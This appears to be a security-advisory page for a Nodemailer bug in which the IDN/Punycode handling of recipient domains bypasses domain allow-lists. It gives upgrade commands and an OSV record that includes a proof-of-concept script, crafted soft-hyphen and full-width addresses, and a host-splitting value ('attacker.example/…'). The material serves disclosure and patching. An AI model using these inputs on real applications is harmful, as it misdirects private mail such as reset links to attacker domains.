GHSA-wmmp-3585-3rmp: Nodemailer IDN/Punycode Domain Allow-list Bypass Leads Vulnerability
MODERATEGHSA-wmmp-3585-3rmp is a MODERATE (CVSS 6.5) idn/punycode domain allow-list bypass leads vulnerability (CWE-436: Interpretation Conflict) affecting Nodemailer libraries in the npm ecosystem. The issue involves idn/punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain. Remediation is available by upgrading affected packages to version 9.1.0.
GHSA-wmmp-3585-3rmp at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N).
How to Fix GHSA-wmmp-3585-3rmp
To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install nodemailer@9.1.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls nodemailer
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-wmmp-3585-3rmp, inspect your project dependencies using npm:
npm ls nodemailer
Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.1.0), your application is affected.
Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-436: Interpretation Conflict, where product a handles inputs or steps differently than product b, which causes a to perform incorrect actions based on its perception of b's state. In Nodemailer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-wmmp-3585-3rmp Affected Nodemailer Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nodemailer
|
npm |
< 9.1.0
|
9.1.0
|
References
Frequently Asked Questions
What is GHSA-wmmp-3585-3rmp?
Which Nodemailer versions are affected?
What version fixes GHSA-wmmp-3585-3rmp?
Is nodemailer affected?
What is the CVSS score of GHSA-wmmp-3585-3rmp?
What CWE is associated with GHSA-wmmp-3585-3rmp?
How can I check npm dependencies for GHSA-wmmp-3585-3rmp?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wmmp-3585-3rmp",
"modified" : "2026-09-08T21:33:32Z",
"published" : "2026-09-08T21:33:32Z",
"aliases" : [ ],
"summary" : "Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain",
"details" : "### Summary\n\nNodemailer resolves an international (IDN / non-ASCII) recipient **domain** to a different Punycode `xn--` label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's `url.domainToASCII`, Python's `idna`). Its address normalizer (`_normalizeAddress` in `lib/mime-node/index.js`) uses the bundled **raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization**, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a **different, attacker‑registrable domain**.\n\nAn application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an **unintended external domain**. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix.\n\nBecause the mismatch can be triggered with an **invisible** character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the *exact* trusted domain string, no visible look‑alike/homograph is required.\n\n### Details\n\n`lib/mime-node/index.js` → `_normalizeAddress(address)` (around lines 1307–1346) splits the address at the last `@` and normalizes the domain like this:\n\n```js\n// lib/mime-node/index.js\ntry {\n if (/[\\x80-]/.test(user)) {\n encodedDomain = punycode.toUnicode(domain.toLowerCase()); // line ~1338\n } else {\n encodedDomain = punycode.toASCII(domain.toLowerCase()); // line ~1340\n }\n} catch (_err) {\n // keep domain as supplied\n}\nreturn `${this._normalizeLocalPart(user)}@${encodedDomain}`; // line ~1346\n```\n\n`punycode` here is the project’s bundled codec (`lib/punycode/`), which is a **pure RFC 3492 (Punycode) implementation**. The only normalization applied to the domain is `.toLowerCase()`. It performs **none of the UTS‑46 “IDNA2008 + compatibility processing” steps** that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically:\n\n* removing **Ignored** code points such as `U+00AD` SOFT HYPHEN,\n* **Mapping** full‑width / compatibility characters to their canonical ASCII forms,\n* Unicode **NFC** normalization,\n* validity checks.\n\nAs a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s `punycode.toASCII(...)` produces a **different A‑label** than `url.domainToASCII(...)` (Node ≥ 7 / WHATWG), `new URL('http://'+domain)`, browsers, and Python’s `idna` (`uts46=True`). Nodemailer then uses its A‑label as:\n\n* the SMTP envelope recipient written to the wire as `RCPT TO:<local@xn--…>` (`getEnvelope()` → `lib/smtp-connection/index.js` `_setEnvelope`), **and**\n* the address emitted in the `To:` / `From:` headers (`_convertAddresses`).\n\nSo the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to **disagree**, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6):\n\n| recipient (raw) | UTS‑46 parser (`url.domainToASCII`) | Nodemailer delivers to |\n|---|---|---|\n| `victim@compa{U+00AD}ny.com` (invisible soft hyphen) | `company.com` | `xn--company-pka.com` |\n| `victim@company.com` (full‑width) | `company.com` | `xn--mi7cd4afch9d.com` |\n| `user@exámple.com` (NFD `a`+U+0301) | `xn--exmple-qta.com` | `xn--example-vge.com` |\n\nThis is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s *Splitting the email atom* research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP `idna_convert` library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the *quoted‑local‑part* path only; this IDN path is independent and still present in **9.0.6 (latest)** and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases.\n\n**Suggested remediation:** perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s `url.domainToASCII()` (available since Node 7) instead of the raw `punycode.toASCII`, and decode with the matching UTS‑46 `domainToUnicode`. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. `punycode.toASCII(d)` ≠ `url.domainToASCII(d)`).\n\n### PoC\n\nEnvironment: Node.js ≥ 18, the published `nodemailer@9.0.6`. No special configuration; the discrepancy is in domain normalization itself.\n\n`poc-idn.js`:\n\n```js\n'use strict';\nconst net = require('net');\nconst url = require('url');\nconst nodemailer = require('nodemailer'); // 9.0.6\n\nconst TRUSTED = 'company.com'; // the only domain the app will mail\nconst RECIPIENT = 'victim@compa\\u00ADny.com'; // attacker input: invisible U+00AD inside \"company\"\n\n// The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way:\nconst seen = url.domainToASCII(RECIPIENT.split('@').pop());\nconsole.log('validator (url.domainToASCII) sees:', JSON.stringify(seen),\n seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : '');\n\n// A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits:\nconst server = net.createServer(sock => {\n let buf = ''; sock.write('220 sink\\r\\n');\n sock.on('data', d => { buf += d; let i;\n while ((i = buf.indexOf('\\r\\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);\n const u = line.toUpperCase();\n if (u.startsWith('EHLO')) sock.write('250-sink\\r\\n250 8BITMIME\\r\\n');\n else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\\r\\n'); }\n else if (u.startsWith('DATA')) sock.write('354 go\\r\\n');\n else if (line === '.') sock.write('250 ok\\r\\n');\n else if (u.startsWith('QUIT')) { sock.write('221 bye\\r\\n'); sock.end(); }\n else sock.write('250 ok\\r\\n'); } });\n});\nserver.listen(0, '127.0.0.1', async () => {\n const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });\n await t.sendMail({ from: 'app@company.com', to: RECIPIENT, subject: 'reset your password', text: 'secret link' });\n t.close(); server.close();\n});\n```\n\nRun:\n\n```\nnpm init -y && npm install nodemailer@9.0.6\nnode poc-idn.js\n```\n\nActual output (Nodemailer 9.0.6):\n\n```\nvalidator (url.domainToASCII) sees: \"company.com\" => ALLOWED (equals trusted domain)\nnodemailer transmits : RCPT TO:<victim@xn--company-pka.com>\n```\n\nThe application’s domain check approves `company.com`, but the message is sent to `xn--company-pka.com` — a **different domain an attacker can register** — carrying the `To:` header `<victim@xn--company-pka.com>` as well.\n\nA containerized version that proves the same result against a **real RFC 5321 SMTP server** (`aiosmtpd`) is included alongside this report (`docker compose up --build`, cases `R6`/IDN); the receiving server accepts `RCPT TO:<victim@xn--company-pka.com>` and reports the recipient domain as `xn--company-pka.com`.\n\n### Impact\n\nAny application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a *different* (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes:\n * recipient **allow‑list / block‑list / “same corporate domain” checks** implemented with `new URL()`, `url.domainToASCII`, a browser‑side check, or an IDN library;\n * flows that **display or log the normalized recipient domain** for human confirmation (the shown `company.com` differs from the delivered `xn--company-pka.com`);\n * any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing).\n\n## Patched in 9.1.0\n\nDomain encoding now applies UTS-46 ([259c32d](https://github.com/nodemailer/nodemailer/commit/259c32d)), so `victim@company.com` resolves to `company.com`, matching `url.domainToASCII` and browsers.\n\nOne caveat on the suggested remediation, hardened in [b212ac4](https://github.com/nodemailer/nodemailer/commit/b212ac4): `url.domainToASCII` is a WHATWG **host parser**, not a pure UTS-46 mapper. It terminates the host at `/`, `\\\\`, `?` and `#` and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since `user@attacker.example/mail.corp.example` encodes to the deliverable `user@attacker.example` where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper.\n\nOn severity, \"attacker-registrable\" is doing significant work in the report: `xn--company-pka.com` decodes to a label containing U+00AD and `xn--mi7cd4afch9d.com` to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "nodemailer"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "9.1.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/pull/1848"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nodemailer/nodemailer"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-436" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-08T21:33:32Z",
"nvd_published_at" : null
}
}